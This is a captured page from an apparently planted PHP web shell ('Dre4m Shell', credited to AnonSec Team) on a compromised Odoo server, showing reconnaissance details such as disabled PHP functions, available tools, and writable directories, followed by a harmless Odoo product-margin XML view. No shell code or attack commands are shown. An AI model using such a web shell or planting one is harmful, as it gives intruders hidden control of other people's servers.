Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.19.75.212
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/product_margin/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/product_margin/views/product_product_views.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>
    <record model="ir.ui.view" id="view_product_margin_graph">
            <field name="name">product.margin.graph</field>
            <field name="model">product.product</field>
            <field name="priority" eval="50"/>
            <field name="arch" type="xml">
                <graph string="Product Margins" type="bar">
                    <field name="product_tmpl_id"/>
                    <field name="total_margin" type="measure" operator="+"/>
                </graph>
            </field>
    </record>

     <record id="view_product_margin_form" model="ir.ui.view">
            <field name="name">product.margin.form.inherit</field>
            <field name="model">product.product</field>
            <field name="priority">50</field>
            <field name="arch" type="xml">
                 <form string="Product Margins">
                    <group col="4">
                        <field name="name"/>
                        <field name="default_code"/>
                    </group>
                    <notebook>
                    <page string="Margins">
                        <group string="Analysis Criteria">
                            <field name="date_from"/>
                            <field name="date_to"/>
                            <newline/>
                            <field name="invoice_state" />

                            <separator string="Sales" colspan="4"/>
                            <field name="sale_avg_price"/>
                            <field name="list_price" string="Catalog Price" readonly="1"/>
                            <field name="sale_num_invoiced" />
                            <field name="sales_gap" />
                            <field name="turnover" />
                            <field name="sale_expected" />

                            <separator string="Purchases" colspan="4"/>
                            <field name="purchase_avg_price"/>
                            <field name="standard_price" string="Standard Price" readonly="1"/>
                            <field name="purchase_num_invoiced" />
                            <field name="purchase_gap" />
                            <field name="total_cost" />
                            <field name="normal_cost" />

                            <separator string="Margins" colspan="4"/>
                            <field name="total_margin"/>
                            <field name="expected_margin"/>
                            <field name="total_margin_rate" widget="progressbar"/>
                            <field name="expected_margin_rate" widget="progressbar"/>
                         </group>
                    </page>
                    </notebook>
                </form>
            </field>
        </record>

        <record id="view_product_margin_tree" model="ir.ui.view">
            <field name="name">product.margin.tree</field>
            <field name="model">product.product</field>
            <field name="priority" eval="50"/>
            <field name="arch" type="xml">
                <tree string="Product Margins">
                    <field name="name"/>
                    <field name="default_code"/>
                    <field name="sale_avg_price"/>
                    <field name="sale_num_invoiced"/>
                    <field name="turnover" sum="Turnover"/>
                    <field name="sales_gap" sum="Sales Gap"/>
                    <field name="total_cost" sum="Total Cost"/>
                    <field name="purchase_num_invoiced" string="# Purchased"/>
                    <field name="total_margin" sum="Total Margin"/>
                    <field name="expected_margin"/>
                    <field name="total_margin_rate"  widget="progressbar"/>
                    <field name="expected_margin_rate" widget="progressbar"/>
                    <field name="categ_id" invisible="1"/>
                    <field name="uom_id" invisible="1"/>
                    <field name="type" invisible="1"/>
                    <field name="company_id" invisible="1"/>
            </tree>
            </field>
        </record>

    <menuitem action="product_margin_act_window" id="menu_action_product_margin" name="Product Margins" sequence="20" parent="account.account_reports_management_menu"/>

</odoo>

Anon7 - 2022
AnonSec Team